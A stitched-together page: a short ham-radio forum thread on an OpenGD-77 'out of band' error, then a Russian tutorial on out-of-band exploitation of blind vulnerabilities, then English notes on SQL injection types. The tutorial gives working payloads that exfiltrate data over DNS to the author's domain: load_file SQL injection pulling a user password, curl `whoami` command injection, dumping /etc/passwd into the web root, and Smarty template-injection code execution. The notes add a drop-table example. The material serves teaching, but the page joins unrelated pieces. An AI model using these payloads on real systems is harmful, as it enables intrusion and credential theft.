Error out of band

ERROR - OUT OF BAND

K4DPR

Posts: 10
Joined: Fri Aug 26, 2022 4:14 am

ERROR — OUT OF BAND

ERROR — OUT OF BAND

I get this error whenever transmitting on FRS or VHF Marine channels, although they are easily within range for a GD-77.

The hardware is certainly capable of transmitting on these channels, as it did with no problem before converting firmware from factory GD-77 to OpenGD-77.

Is this «feature» baked in with the OpenGD-77 firmware, or is there a way to make it work?

Don
K4DPR


G4EML

Posts: 613
Joined: Sat Nov 16, 2019 10:01 am

Re: ERROR — OUT OF BAND

Post

by G4EML » Sat Sep 10, 2022 11:37 pm

Band limits is one of the options in the menu structure. As the firmware is only licenced for amateur radio use it defaults to band limits on. You can turn the limits off at your own discretion. However you should note that the radio will not be type approved for use on non-amateur frequencies.


K4DPR

Posts: 10
Joined: Fri Aug 26, 2022 4:14 am

Re: ERROR — OUT OF BAND

Post

by K4DPR » Sun Sep 11, 2022 12:00 am

Thank you — I found the correct setting with your suggestion. Band limits are clearly turned off in my codeplug, but not so in the radio.

Options >> Band Limits: CPS

Don
K4DPR


AA3RP

Posts: 57
Joined: Thu Jun 17, 2021 3:22 am

Re: ERROR — OUT OF BAND

Post

by AA3RP » Sun Sep 11, 2022 5:40 am

AvonDon wrote: ↑

Sun Sep 11, 2022 12:00 am


Thank you — I found the correct setting with your suggestion. Band limits are clearly turned off in my codeplug, but not so in the radio.

Options >> Band Limits: CPS

Don
K4DPR

Can you change the Band Limit to CPS using the radio only ? You should be able to, and I believe that will fix the issue you are having. If that is true it maybe an issue with the CPS and not the FW / radio.

Also if you recently loaded new / updated FW the Settings get reset and if you do not reload your code plug you will lose the settings that are not default you had / have in the CPS. I suspect this is what happened in your case.

AA3RP


K4DPR

Posts: 10
Joined: Fri Aug 26, 2022 4:14 am

Re: ERROR — OUT OF BAND

Post

by K4DPR » Sun Sep 11, 2022 1:17 pm

With radio only, yes, I could choose No, Yes, or CPS. But turning limits off in CPS (they were off by default) had no effect until it was also allowed in the radio’s menu settings for «Options».


Статья является переводом. Оригинал вот

Ссылка скрыта от гостей

В этой статье я расскажу о понятии и концепции «Out-of-band» (на рус. «вне-диапазона») , а также о использовании на некоторых примерах.

Структура статьи

1. Что значит «Out-of-band»?
2. Blind уязвимости

2.1 Blind SQL Injection

2.2 Blind Command Injection

2.3 Blind Cross-site Scripting

3. Подготовка подходящей среды для извлечения данных
4. Использование уязвимостей с помощью OOB-технологии

4.1 Использование Blind SQL Injection уязвимости с помощью OOB-технологии

4.1.1 MySQL

4.1.2 PostgreSQL

4.2 Использование Blind Command Injection уязвимости OOB-технологии

4.3 Использование Blind SSTI (Server-side Template Injection) уязвимости с помощью OOB-технологии

1. Что значит » Out-of-band»?

Хоть на первый взгляд это может показаться бессмысленным, но на самом деле, out-of-band хорошо демонстрирует общую концепцию. Давайте рассмотрим это шаг за шагом. Сначала нужно ответить на вопрос, что такое band? Band — это “емкость” коммуникационного канала. Более технически, она относится к (канальной) емкости сокета, открытого между клиентом и сервером, когда клиент посылает HTTP пакет на сервер. Вы поймете больше в следующих разделах статьи.

Теперь, говоря об out-of — не нужно путаться, это старое доброе outside of. Когда эти слова объединены, можно сказать, что атака out-of-band означает атаку, осуществляемую только путем превышения емкости сокета, открытого между клиентом и сервером.

Говоря простым языком, во время атаки обычно посылается HTTP-запрос. Сервер получает этот запрос, обрабатывает его и отправляет результат обратно в виде HTTP ответа. После этого, анализируется вывод и задаются вопросы: есть ли у атакуемого входа уязвимость — если да, будет ли атака успешной?

Например, символы <> отправляют на вход, подверженный XSS-атаке. Затем проверяется, содержит ли HTTP-ответ эти специальные символы, и если да, то в каком контексте они находятся.

В некоторых случаях, в силу природы уязвимости, сервер не выдает существенных результатов. Поэтому один и тот же результат будет выдан независимо от того, пройдет ли атака успешно или окажется неудачной. Итак, как же проверить наличие уязвимости? Как правило, мы не можем пока что, но прочитав эту статью, вы сможете это сделать, используя OOB (out-of-band) метод.

OOB — это общее имя, даваемое атакам, при которых с сервера посылается внешний запрос. Если во время атаки, атакованный сервер дает нам бессмысленный ответ, то мы, по сути, заставим сервер послать запрос на указанный домен или IP-адрес и забрать при этом данные. Сервер, на который будет отправлен запрос, является специально настроенным сервером, который будет ждать запрос, содержащий желаемые данные. Таким образом, мы будем извлекать желаемые данные сервера.

Нам может понадобиться отправлять запросы различных протоколов в зависимости от типа уязвимости — например, иногда посылать FTP, иногда HTTP, а иногда SMTP запросы. При отправке этих запросов могут быть некоторые ограничения. Для того, чтобы преодолеть эти проблемы, мы будем использовать DNS как можно чаще, потому что какой бы протокол нам ни пришлось использовать, если мы хотим отправить запрос на доменное имя, будет отправлен DNS-запрос для разрешения IP-адреса серверов. Таким образом, мы будем извлекать данных через DNS намного чаще. То есть, при использовании протокола «X», так как этот протокол должен выполнять DNS преобразование, мы автоматически выполним DNS.

2. Blind уязвимости

2.1. Blind SQL Injection

Я начну объяснять Blind (на рус. «Слепых») уязвимости через SQL-инъекцию, пропустив часть разъяснений, что такое SQL, и как его внедрять, надеясь, что вы это уже знаете. Ниже приведен кусок кода, содержащий SQL-инъекцию:

PHP:

...

$sql = "SELECT * FROM users WHERE id=".$_GET['id'];

$result = $conn->query($sql);

while($row = $result->fetch_assoc()) {

echo "id: " . $row["id"]. " - username: " . $row["username"];

}

...

Давайте проверим, работает ли вышеприведенный код.

oob-3_1.png

Как видно, пользователь с ID 1 был взят из базы данных и выдан нам.

Давайте проведем атаку на этот код, чтобы освежить нашу память. Сначала в браузере поставим единственную кавычку (апостроф) в конце идентификационного параметра внутри QueryString.

4.png

Как можно заметить, PHP выдал ошибку, как только апостроф вызывает синтаксическую ошибку в SQL-запросе. Основываясь на этой ошибке, давайте продолжим атаку, используя простой или настоящий пейлоад, и докажем существование уязвимости, создав SQL-запрос таким образом, чтобы он отображал всех пользователей в базе данных.

5.png

Предположим, что разработчик этого кода модифицировал его и внес эти 2 изменения:

  • Отключить отображение ошибок PHP.
  • Не выводить данные на экран после получения результата SQL-запроса.

На этот раз наш код будет выглядеть так:

PHP:

// Turn PHP error displays off

ini_set('display_errors', 'Off');

error_reporting(~E_ALL);

$sql = "SELECT * FROM users WHERE id=".$_GET['id'];

$result = $conn->query($sql);

// Do not display the output to the screen after fetching the result //of the SQL query.

// while($row = $result->fetch_assoc()) {

//    echo "id: " . $row["id"]. " - username: " . $row["username"];

// }

...

Как мы видим, разработчик отключил сообщения об ошибках, а блок кода, который отвечал за вывод данных на экран после извлечения результата SQL, был закомментирован.

Теперь попробуем атаковать.

6.png

7.png

Мы атаковали точно так же, как и несколько абзацев назад, но видимого вывода нет. Однако, просмотрев на код выше, мы уверены, что уязвимость SQL Injection все таки есть.

Blind уязвимости – это уязвимости, при использовании которых, мы не можем располагать непосредственным выводом (от этого и название этих уязвимостей). И мы убедились в этом на примере.

Слепые уязвимости не ограничиваются только SQL Injection. С тем же успехом мы можем столкнуться со слепыми уязвимостями в некоторых других высокорискованных областях, таких как Code Evaluation, XSS и Command Injection.

2.2 Внедрение Blind Command

Как и в случае с SQL Injection, посмотрим, как возникнет эта уязвимость, сначала нормальная (рефлексивная), а затем слепая.

PHP:

<?php

echo shell_exec($_GET['cmd']);

…

В приведенном выше коде есть «отраженная» уязвимость, так как возвращаемое из функции shell_exec имеет значение echo (то есть выводится результат введенной команды). Попробуем ее использовать.

8.png

9.png

Как видно на скриншоте выше, можно увидеть вывод отправленных нами команд.

Хорошо, а что бы случилось, если бы разработчик не повторил значение, возвращенное из функции shell_exec?

PHP:

<?php

shell_exec($_GET['cmd']);

…

Попробуйте сейчас.

10.png

11.png

Так же, как это случилось с Blind SQL Injection, мы не можем увидеть результат. Вот, что делает эту уязвимость слепой.

2.3 Слепой межсайтовый скриптинг

XSS — это уязвимость, которая структурно требует взаимодействия с пользователем. Вы не можете напрямую столкнуться с сервером. Жертва должна использовать браузер, а JavaScript должен каким-то образом запускаться в браузере жертвы.

Reflected XSS (Отраженный XSS) прост: если значение, отправленное вами в качестве входного, напечатано напрямую, вы можете выйти из контекста HTML и подготовить пейлоад для JS. После этого, если вы можете каким-то образом заставить цель (т.е. жертву) ввести пейлоад в качестве ввода, и вуаля! Вы успешно воспользовались уязвимостью! Самый распространенный вход — Query String (Строка Запроса): если вход находится в Query String, Вам не придется заставлять цель вводить пейлоад. Если Вы напрямую отправите цели полный URL, введенный в пейлоад, то этот же пейлоад будет отправлено простым кликом.

Blind версия XSS должна храниться на сервере. Как мы уже говорили — если вы не видите результат во время атаки, атака будет слепой. Но как XSS будет XSS’ом, если мы не видим обработанные данные? А мы и не должны их видеть. Слепой XSS происходит в тех случаях, когда посылаемый вами пейлоад хранится и выводится на другой странице, к которой у вас нет доступа.

Представьте, что вы написали простое ПО для ведения блога. Администратор входит в систему, пишет блог, публикует его, читатели его читают и комментируют. Комментарии сначала хранятся ИСКЛЮЧИТЕЛЬНО в панели администратора, и публикуются только после утверждения администратором. Если администратор одобряет это, комментарии будут видны в интерфейсе сайта неавторизованными пользователями.

Если в панеле админа, где комментарии публикуются, есть XSS, то такой XSS называют слепым. Потому что вы увидите только сообщение типа «Ваш комментарий был отправлен успешно, он будет виден после одобрения администратора». Вы не сможете увидеть тот XSS, который

может

появиться на экране администратора.

12.png

Слепые уязвимости работают примерно вот так. Я думаю, 3-х примеров будет достаточно, чтобы понять концепцию подобных уязвимостей.

3. Подготовка подходящей среды для извлечения данных

Чтобы подытожить то, что я объяснял в предыдущих разделах, нам нужно отправить внешний запрос на сервер, на котором мы хотим попробовать выполнить инъекцию. В следующем разделе мы рассмотрим, как и какие типы запросов, мы можем отправить, и на какую систему.

В этом разделе нам нужно будет установить сервер, на который будут отправляться запросы от зараженных путем инъекции систем. Типы запросов, которые мы можем отправлять, могут измениться в зависимости от используемой системы и типа уязвимости. Мы можем запрашивать иногда от HTTP, иногда от FTP, а иногда и от нескольких других протоколов. Поэтому создаваемая нами система должна быть совместима со всеми другими.

Инструмент, который мы будем использовать — Responder. Этот инструмент, написанный SpiderLabs, на самом деле работает с очень простой логикой. Вы даже можете написать его сами, чтобы понять и узнать, как работают наиболее используемые протоколы. Короче говоря, сервис X прослушивает n-й порт, как будто он из него вышел. Выполняются 2 вещи, когда пакет поступает в порт:

  1. Запрос записывается в логи, чтобы мы его смогли увидеть.
  2. Система, которая отсылает запрос, посылает ответный пакет, конкретный для этого сервиса, как и ожидалось системой, чтобы не появились ошибки.

Вы можете получить доступ к исходному коду Responder с помощью этого репозитория на GitHub: SpiderLabs/Responder.

Вам понадобится сервер для установки Responder. Я создал 5-долларовый сервер под названием oob-test от DigitalOcean.

Теперь пришло время для установки и использования Responder. Существует несколько важных моментов, которым нужно уделить внимание:

  1. После установки сервера не забудьте установить Python 2.7 до того, как Responder for Responder не будет работать без Python 2.7.
  2. Если вы создали сервер от провайдера со всеми закрытыми портами, например, AWS, не забудьте открыть эти порты.
  3. Обязательно выполняйте все операции с привилегиями root.

После подключения к серверу по SSH и установки Python 2.7, перенисите репозиторий Responder в текущую директорию, используя следующую команду:

$ git clone https://github.com/SpiderLabs/Responder

13.png

Далее, используя команду ниже, перейдите в каталог Responder, запустите Responder и проверьте, работает он или нет.

14.png

Отлично! Responder работает успешно. Не стоит беспокоиться об ошибке «-I <if> mandatory option is missing «. Эта ошибка была выведена лишь потому, что мы не предоставили программа интерфейс для прослушивания. На этом этапе мы просто проверяли, работает ли программа.

Пришло время запустить программу для прослушивания входящих пакетов.

При запуске Responder мы установим 2 параметра:

  1. -I параметр: Параметр, который указывает, какой сетевой интерфейс прослушивать. Этот параметр является обязательным. С помощью команды ifconfig вы можете получить список интерфейсов в вашей системе и получить имя вашего широковещательного интерфейса. Мой широковещательный интерфейс называется «eth0».
  2. -v параметр: Verbose параметр. Я буду использовать его для просмотра сгенерированных логов сразу в терминале. Он не является обязательным для использования, но мы будем использовать его, чтобы мгновенно видеть логи.

Чтобы узнать другие параметры, можно использовать команду ./Responder -help.

Я использовал следующую команду, чтобы запустить Responder с необходимыми параметрами:

$ ./Responder -I eth0 -w

15.png

Как можно заметить, Responder начал прослушивать порты с сообщением «Listening for events…» (Прослушивание событий…). В списке выше видно, что по умолчанию прослушиваются порты некоторых сервисов. Так как мы будем работать только с DNS, а порт DNS (53-й порт) прослушивается по умолчанию, то нет необходимости делать дополнительную настройку для этого.

Когда я пытаюсь получить доступ к IP-адресу своего сервера из браузера, видно, что служба Responder HTTP-сервера работает на 80 порту и отображает входящие журналы в терминале.

16.png

Наконец, нам нужно определить IP-адрес нашего сервера как DNS IP-адрес доменного имени принадлежащего нам так, чтобы для разрешения DNS-запроса, приходящего к домену, DNS-запрос направлялся в Responder.

Для этой операции я буду использовать omercitak.net — доменное имя, которое я обычно использую для тестирования подобного рода вещей. После входа в панель управления моего доменного имени, я сначала создаю 2 записи главного сервера доменного имени с именами ns1 и ns2, а затем ввожу IP адрес сервера, на котором установлен Responder, после чего нажимаю save.

17.png

После этого я выбираю эти записи со страницы Ad Sunucuları (Турецкий для имен серверов) и сохраняю.

18.png

Далее, когда вы посещаете

Ссылка скрыта от гостей

через браузер, запрос, который вы отправляете, должен быть виден в Responder.

P.S. Вы можете не получить мгновенных результатов, так как на серверах, через которые проходит ваш запрос, может быть активен DNS Cache. В таком случае я рекомендую, время от времени , проверять каждые 2-3 часа.

После выполнения этого шага, вы можете увидеть, что 1 DNS и 1 HTTP пакет прибыли в Responder, когда мы посетили

Ссылка скрыта от гостей

.

19.png

Теперь мы готовы воспользоваться уязвимостями!

4. Использование уязвимостей с помощью OOB-технологии

Теперь очередь OOB-технологии. Просмотрите уязвимости еще раз и ответьте — что у них общего? Так как при выполнении атаки не было выведенной информации, мы были не осведомлены о проходившей атаке. В таких случаях OOB-техника приходит нам на помощь.

OOB не всегда получается использовать в каждой слепой уязвимости.

В первом разделе мы определили, что OOB это — выполнение атаки путем выхода из сокета, открытого между атакующим (клиентом) и сервером. Как же нам это сделать?

Существует несколько способов, но общим среди них, является возможность запроса извне. Если нам удастся отправить запрос с атакованного сервера наружу, мы сможем воспользоваться уязвимостью с помощью OOB-техники.

Можно по-разному отправить запросов с сервера наружу. Вы даже можете разработать свой собственный, который никто еще не использовал. Это немного открыто, но обычно используются такие протоколы, как HTTP, DNS и FTP.

Если возможно послать пакет с любого протокола, такого как HTTP, DNS, FTP и т.д., с атакованного сервера, то также возможно включить в этот пакет информацию об учетных данных сервера и вывести их из него.

П.С. извлечение данных из системы называется » data exfiltration (эксфильтрацией данных)».

Здесь мы сталкиваемся с двумя проблемами:

  1. Как извлечь данные?
  2. Куда мы отправляем данные?

Решение первой проблемы варьируется. Как я уже говорил, мы не сможем использовать каждую слепую уязвимость с помощью OOB. Отчасти это зависит от методов, которые мы можем использовать на стороне сервера, и от настроенных конфигураций.

По этой причине нам необходимо провести некоторые исследования в зависимости от типа уязвимости. Например, взяв SQL Injection в качестве примера, нам нужно найти метод отправки запроса с сервера внутри запроса.

Подумайте немного, и продолжайте читать, если вы не догадаетесь :) .

4.1 Использование «слепой» SQL-инъекционной уязвимости с помощью OOB-технологии

Существуют некоторые методы, специфичные для каждой базы данных. Некоторые из них используются по умолчанию, некоторые необходимо настроить дополнительно.

4.1.1 MySQL

В MySQL есть переменная с именем secure_file_priv. Эта переменная контролирует импорт/экспорт файлов, таких как LOAD DATA, OUTFILE и LOAD_FILE(). К этой переменной можно присваивать 3 типа значений. В зависимости от присвоенных значений, поведение MySQL меняется следующим образом:

Если,

  • Путь к каталогу в системе задан: MySQL выполняет операции экспорта и импорта только в этот каталог.
  • Установлен NULL: Команда и такие функции, как LOAD DATA, OUTFILE и LOAD_FILE(), используемые при импорте и экспорте MySQL, отключены.
  • Ничего не установлено: Операции экспорта и импорта можно выполнить где угодно.

Если переменная secure_file_priv не пуста, то мы просто не сможем выполнить OOB-атаку.

  • Эта переменная по умолчанию является EMPTY в MySQL 5.5.34.
  • Эта переменная по умолчанию NULL в MySQL 5.6.34.

Что же нам теперь делать с этими функциями экспорта/импорта? Такие команды и функции, как LOAD DATA, OUTFILE, LOAD_FILE() могут импортировать файлы не только снаружи. Обратите внимание, что импорт файла извне означает отправку HTTP-запроса. Мы добавляем данные на MySQL-сервере, где мы уже можем выполнять инъекции и команды на адрес импорта файла. Затем, если мы будем следовать входящим запросам на сервере, где файл будет импортирован, мы будем извлекать данные изнутри и снаружи.

Сделаем пример с LOAD_FILE.

Используем тестовый пример, который мы подготовили для SQL Injection в предыдущем разделе. Как я писал выше, тут не будет полный SQL Injection 101. Вместо этого я непосредственно покажу пример OOB.

Команда, которую я использовал для OOB с помощью LOAD_FILE:

load_file(concat('\\', database(), '.omercitak.net\abc'))

В этой команде, concat

Ссылка скрыта от гостей

и имя БД является поддоменом omercitak.net и помещает полученную строку в функцию load_file. Вышеприведенная команда конкатенует БД в качестве поддомена домена omercitak.net с помощью concat-функции и помещает результирующую строку в функцию load_file.

Скажем, если имя БД будет test, результирующая строка из функции concat будет такой:

\\test.omercitak.net\abc

Для того, чтобы заинжектитт пейлоад, нам нужно написать этот пейлоад именно вот так:

union select load_file(concat('\\', database(), '.omercitak.net\abc')),1,2

В браузере, мы посылаем пейлоад в параметр уязвимого идентификатора.

20.png

Проверяем Responder сейчас.

21.png

Буквы oob можно увидеть в качестве субдомена в DNS логах. Имя базы данных теперь является oob.

Взгляните на информацию о версии.

union select load_file(concat('\\', version(), '.omercitak.net\abc')),1,2

22.png

23.png

Мы получили информацию о версии — 10.1.37 MariaDB.

Теперь давайте напишем подзапрос и получим пароли пользователей в базе данных.

union select load_file(concat('\\', (select password from users where id=1), '.omercitak.net\abc')),1,2

24.png

asdasd.png

Пароль первого пользователя — 123456.

Остальное уже за вами.

4.1.2 PostgreSQL

Нет необходимости заново изобретать велосипед для PostgreSQL, так как его уже изобрел :), вот вам ссылка на видео работы демо-версии

https://www.youtube.com/watch?v=8ItJbYrZOK8

4.2 Использование Blind Command Injection уязвимости OOB-технологии

Пример кода для Blind Command Injection приведен в разделе Blind Vulnerabilities. Вызов кода:

PHP:

<?php

shell_exec($_GET['cmd']);

?>

Мы не получим вывод, какую бы команду мы ни выполняли в системе после отправки пейлоада из параметра «cmd» строки запроса. Перед переходом к OOB, давайте проведем time-based атаку и проанализируем её поведение.

27.png

Как видите, я отправил команду «sleep 5«, и загрузка страницы заняла 5 долгих секунд. Подтвердить это можно, попробовав 2-3 раза с несколькими интервалами.

P.S. Так как этот PHP-файл работает под Linux, я использовал команду «sleep«. Насколько я помню, в Windows нет команды sleep. Если бы система была Windows, я бы использовал другую команду, альтернативную данной.

Теперь давайте воспользуемся этой уязвимостью используя OOB.

Как я уже писал — нам нужно отправить внешний запрос с этого сервера. Для этого есть много команд на Linux, таких как nslookup, wget и т.д… Мы будем использовать curl.

28.png

$ curl omercitak.net

Когда мы отправляем эту команду напрямую, мы видим, что соответствующий DNS-запрос приходит к нашему Responder.

29.png

Хорошо, но как мы извлекаем данные? Для этого нам нужно понять, что такое подкоманда. На Linux системах мы можем выполнять команды внутри команд. Нам это нужно, чтобы мы могли использовать уязвимость OOB-way. Так же, как и SQL Injection, мы будем посылать результат команды в качестве поддомена перед доменным именем omercitak.net и посылать запрос с помощью curl.

Вы можете использовать подкоманды двумя способами на Linux системах:

  1. Написание команды внутри между грависом «`», например, `whoami`.
  2. Записав нужную команду вместо обычной команды в шаблоне $(команда). Мы будем использовать и то, и другое.

Сначала давайте узнаем имя пользователя, который работает на веб-сервере.

$ curl `whoami`.omercitak.net

30.png

Входящий запрос на Responder:

31.png

Пользователь — это www-data.

Пора узнать путь к каталогу, в котором запущен файл. Этот путь очень важен для нас, потому что он — единственный публичный каталог в системе, в котором работает веб-сервер. Если мы найдем этот каталог и получим разрешение на запись, мы сможем заставить тип уязвимости перейти от OOB к Reflected.

Команда, которую мне нужно использовать, чтобы найти мою текущую директорию — это pwd, но я не смогу использовать ее, как в предыдущей команде.

$ curl `whoami`.omercitak.net

Причина, по которой мы не можем её использовать, заключается в символе слеша «/» в конце каталога. Так как поддомен не может содержать символ косой черты, команда curl выдаст ошибку. С помощью команды sed я собираюсь заменить косую черту на точку «.», применив простой шаблон RegEx.

$ sed "s///./g" <<< `pwd`

Однако, конечно, для того, чтобы выдать эту команду в качестве поддомена omercitak.net, мне нужно поместить ее в полный подзапрос. Поэтому команда будет следующая;

$ curl a$(sed "s///./g" <<< `pwd`).omercitak.net

Причина, по которой я ставлю букву a после curl и перед знаком $, в том, что обратный путь — полный. После того, как мы заменили символ косой черты на период, то возвращаемый путь к каталогу будет что-то вроде «test1.test2.test3». Вдобавок, так как домен не может начинаться с периода, curl будет выдавать ошибку. Мы либо удаляем период в начале, либо не допустим, чтобы curl выдавал ошибку, поместив случайный символ точно так же, как и я.

32.png

33.png

Output: .a.var.www.html.omercitak.net.

Мы поставили букву «а» в начало. Если мы проигнорируем ее и посмотрим на остальное, то увидим, что наш каталог является «/var/www/html«.

Теперь давайте извлечем данные в общий каталог! С помощью следующей команды:

cat /etc/passwd > /var/www/html/dump.txt

Я создал файл с именем dump.txt в публичном каталоге и поместил в него вывод passwd. Здесь нас не волнует, вернется ли Response пустым — мы уже знаем, что Blind уязвимость есть.

34.png

Теперь я зайду в dump.txt из браузера и посмотрю, сможет ли он записать файл /etc/passwd в общую директорию.

35.png

И результат таков, каким вы его видите. Улучшение атаки уже зависит от вас.

4.3 Использование Blind SSTI (Server-side Template Injection) уязвимости с помощью OOB-технологии

Современные веб-приложения используют Template Engines или движки шаблонов, потому что, они более читабельные, поддаются расширению кода и обладают хорошей производительностью. Эти шаблонные движки становятся очень опасными, если их использовать без осторожности.

Многие движки доступны на других языках и большинство из них уязвимы.

Если вы не знаете, что такое SSTI, я рекомендую вам прочитать следующий блог, а затем продолжить чтение.

Ссылка скрыта от гостей

Существует инструмент под названием tplmap для эксплуатирования уязвимостей SSTI, точно так же как sqlmap, который мы используем для SQL Injection. Человек, разработавший инструмент tplmap, также опубликовал несколько тестовых примеров. Мы запустим встроенные уязвимые тестовые кейсы tplmap и попробуем применить к ним OOB-технику.

Tplmap GitHub repo: epinna/tplmap.

$ git clone https://github.com/epinna/tplmap

С помощью этой команды скопируйте инструмент Tplmap и все его тестовые кейсы на ваш компьютер. Следующая команда обозначает переход в каталог, в котором находятся док-файлы тестовых кейсов.

Код:

$ cd tplmap/docker_envs/

$ docker-compose up tplmap_test_php

С помощью этой команды, создается изображение из Dockerfile с помощью docker-compose, а новый контейнер создается с помощью этого сгенерированного изображения.

36.png

Примечание 1: Для выполнения тестов необходимо установить на вашу машину docker и docker-compose.

Примечание 2: Как мы делали это раньше, вы можете использовать команду «docker-compose up tplmap_test_php» для запуска тестового сценария, специфичного только для одного языка, а не для всех тестовых сценариев. Если вы запустите только команду «docker-compose up» и не укажете имя сервиса, то будут запущены все тесты.

После запуска тестового сценария выполним наш тест через Smarty. Отправим основную полезную нагрузку SSTI как {5*6} и проверим, есть ли в ответе математическая операция.

38.png

В ответе можно заметить 30. Даже если мы не знаем, уязвим ли Smarty, то после отправки этого пейлоада, мы уверены на 100%.

Теперь мы попробуем выполнить в системе команду над уязвимостью SSTI. То есть, мы перейдем от SSTI к Command Injection. И все же, конечно, не напрямую: сначала от SSTI к Code Evaluation, а затем к Command Injection.

От SSTI к Code Evaluation:

Smarty непосредственно оценивает коды, написанные тегами {php}. То есть, если мы напишем «{php} print_r(‘deneme’) {/php}«, то код будет работать.

После того, как мы можем выполнять код, давайте увеличим наши привилегии, сделаем так, чтобы мы могли выполнять команды в системе.

От Code Evaluation к Command Injection:

Существует класс Smarty_Resource, который идет в комплекте с Smarty Engine, а внутри этого класса есть метод parseResourceName.

Как следует из названия, этот метод является методом, который анализирует и печатает имена ресурсов. Есть 2 параметра:

Для первого параметра мы введем PHP-код, который мы хотим видеть на выходе, а для второго параметра — случайная буква, чтобы PHP не выдавал ошибку.

Примечание: Именно я разработал этот метод, поэтому вы его нигде не найдете. Поэтому я даю вам приватный метод, и пусть это будет одолжением для читателей Arka Kapi (турецкий журнал, похож на ][акер).

В заключение, пейлоад будет таким:

{php}print_r(Smarty_Resource::parseResourceName(system("ls -la"),'b'));{/php}

Теперь, давайте отправим подготовленный пейлоад на параметр inj, и посмотрим, сможем ли мы увидеть вывод от команды ls -la.

39.png

Супер! Мы получили нужный нам результат. Теперь попробуем прочитать файл /etc/passwd.

{php}print_r(Smarty_Resource::parseResourceName(system("cat /etc/passwd"),'b'));{/php}

40.png

Здорово! До сих пор это основная «отраженная» уязвимость. Человек, разработавший Tplmap, а значит, и тестовые кейсы, добавил интересную особенность: если отправить метод под названием «blind» из QueryString, то уязвимость становится blind.

Теперь давайте добавим параметр blind из QueryString в дополнение к предыдущему URL.

41.png

Как видите, мы не получили результат, а это означает, что уязвимость становится blind.

Давайте извлечем данные здесь, применяя технику OOB. Мы можем преобразовать уязвимость из SSTI в Command Injection. В вышеприведенном разделе мы уже видели, как посылать запросы на наш Responder в Command Injection.

$ curl `whoami`.omercitak.net

Используем ту же самую технику.

42.png

Смотрим на выход:

43.png

Как оказалось, мы снова получили выходные данные www-data по команде whoami.

Увидимся в другой статье, и счастливого хакинга!

Источники

  • https://github.com/SpiderLabs/Responder
  • Ссылка скрыта от гостей

  • https://github.com/epinna/tplmap
  • Ссылка скрыта от гостей

SQL injection can be classified into three major categories –In-band SQLi, Inferential SQLi, and Out-of-band SQLi. In this article, we shall take a look at all three.

In-Band SQLi (Classic SQLi)

In-band SQL injection is the most common and easy-to-exploit of the SQL injection attacks. In-band SQL injection occurs when an attacker is able to use the same communication channel to both launch the attack and gather results.

The two most common types of in-band SQL injection are Error-based SQLi and Union-based SQLi.

Error-Based SQLi

Error-based SQLi is an in-band SQL injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database. While errors are very useful during the development phase of a web application, they should be disabled on a live site or logged to a file with restricted access instead.

Union-Based SQLi

Union-based SQLi is an in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response.

Inferential SQL injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL injection. In an inferential SQLi attack, no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “blind SQL injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server.

The two types of inferential SQL injection are Blind-boolean-based SQLi and Blind-time-based SQLi.

Boolean-Based (Content-Based) Blind SQLi

Boolean-based SQL injection is an inferential SQL injection technique that relies on sending a SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database, character by character.

Time-Based Blind SQLi

Time-based SQL injection is an inferential SQL injection technique that relies on sending a SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Depending on the result, an HTTP response will be returned with a delay or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database character by character.

Out-of-Band SQL Injection

Out-of-band SQL injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.

Out-of-band techniques offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable).

Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server that an attacker controls, as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server that an attacker controls.

SQL injection types

  • Types include
    • In-band SQL injection
    • Blind SQL injection
    • Out-of-band SQL injection
  • Other classifications sometimes include
    • Database management system-specific SQL injection
      • Using specific SQL statements to certain database engine.
    • Compounded SQL injection
      • Combining SQL injection with other web application attacks such as • insufficient authentication • DDoS attacks • DNS hijacking • XSS.
      • E.g. DDoSing through http://cloudarchitecture.io/azure?id=2 and WAITFOR DELAY '0:0:50'
    • Second-order SQL injection
      • When user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way.
      • E.g. during login user name and password is retrieved as WHERE username="$username" and password="$password", one could then set a password as "); drop table users; to delete the table and it will only executed during user login.

In-band SQL injection

  • Also known as • classic SQL injectionin-band SQLiclassic SQLi.
  • Attacker uses one channel to inject malicious queries and retrieve results.

Error-based SQL injection

  • Causing database to throw errors and in such a way to identify the vulnerabilities
  • One of the most common injections
  • Examples
    • Through parameter tampering in GET/POST requests
      • E.g. adding in the end: http://testphp.vulnweb.com/listproducts.php?cat=1′
        • Shows error: Error: Check the manual that corresponds to your MySQL server version. Invalid syntax "' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74
        • Reveals file names, database type etc.
      • Can use e.g. Burp Suite
    • Converting anything to integer: or 1=convert(int, (select * from tablename))
      • Syntax error converting the nvarchar value '<sql execution result>'

System stored procedure

  • Stored procedure: Precompiled function-like SQL statements supported by many DBMS.

  • Injecting malicious queries into stored procedures

  • E.g. @vname is vulnerable to injection in following procedure:

      CREATE PROCEDURE getDescription
        @vname VARCHAR(50)
      AS
        EXEC('SELECT description FROM products WHERE name = '''+@vname+ '''')
      RETURN

Illegal/Logically incorrect query

  • Goal is to gather information about the type and structure of the back-end database.
  • Considered as a preliminary step for further attacks.
  • Attacker takes advantage of error messages sent by the database on incorrect queries.
  • Often exposes the names of tables and columns.
